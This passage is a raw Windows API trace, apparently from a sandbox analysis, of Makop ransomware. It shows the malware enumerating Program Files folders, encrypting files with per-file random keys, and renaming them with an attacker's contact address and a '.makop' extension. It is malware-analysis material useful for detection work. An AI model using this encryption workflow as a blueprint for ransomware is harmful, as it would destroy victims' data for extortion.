liDistanceToMove=0xe074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.405] SetEndOfFile (hFile=0xf0) returned 1 [0095.412] GetProcessHeap () returned 0x48a0000 [0095.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.412] GetProcessHeap () returned 0x48a0000 [0095.412] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.413] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0095.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.414] CloseHandle (hObject=0xf0) returned 1 [0095.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0095.414] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned 67 [0095.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.415] GetProcessHeap () returned 0x48a0000 [0095.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.415] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.415] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.415] GetProcessHeap () returned 0x48a0000 [0095.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.415] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.421] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.421] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30170, lpOverlapped=0x0) returned 1 [0095.426] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30170, dwBufLen=0x30170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30170) returned 1 [0095.428] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30170, lpOverlapped=0x0) returned 1 [0095.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.430] SetEndOfFile (hFile=0xf0) returned 1 [0095.440] GetProcessHeap () returned 0x48a0000 [0095.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.440] GetProcessHeap () returned 0x48a0000 [0095.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.440] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0095.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.441] CloseHandle (hObject=0xf0) returned 1 [0095.442] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0095.442] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0095.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.442] GetProcessHeap () returned 0x48a0000 [0095.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.442] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.443] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.443] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.443] GetProcessHeap () returned 0x48a0000 [0095.443] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.447] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.448] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.448] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.448] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.448] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x46b70, lpOverlapped=0x0) returned 1 [0095.458] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x46b70, dwBufLen=0x46b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x46b70) returned 1 [0095.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x46b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x46b70, lpOverlapped=0x0) returned 1 [0095.463] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.464] SetEndOfFile (hFile=0xf0) returned 1 [0095.471] GetProcessHeap () returned 0x48a0000 [0095.471] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.471] GetProcessHeap () returned 0x48a0000 [0095.471] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.471] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0095.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.472] CloseHandle (hObject=0xf0) returned 1 [0095.472] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0095.472] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0095.472] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0095.473] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14") returned 55 [0095.473] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*") returned 59 [0095.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0095.478] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.480] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0095.480] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 64 [0095.480] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*") returned 68 [0095.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.480] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.480] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0095.480] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0095.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.482] GetProcessHeap () returned 0x48a0000 [0095.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.482] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.482] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0095.482] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0095.487] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.487] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.487] GetProcessHeap () returned 0x48a0000 [0095.487] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.487] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0095.487] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.487] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0095.487] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0095.487] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0095.488] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0095.488] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0095.488] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0095.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0095.488] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.488] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.488] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe58e, lpOverlapped=0x0) returned 1 [0095.491] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe590, dwBufLen=0xe590 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe590) returned 1 [0095.491] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.491] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe590, lpOverlapped=0x0) returned 1 [0095.492] CryptDestroyKey (hKey=0x48c7168) returned 1 [0095.492] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.492] SetEndOfFile (hFile=0x138) returned 1 [0095.499] GetProcessHeap () returned 0x48a0000 [0095.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.499] GetProcessHeap () returned 0x48a0000 [0095.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.499] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0095.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.501] CloseHandle (hObject=0x138) returned 1 [0095.501] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0095.501] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft 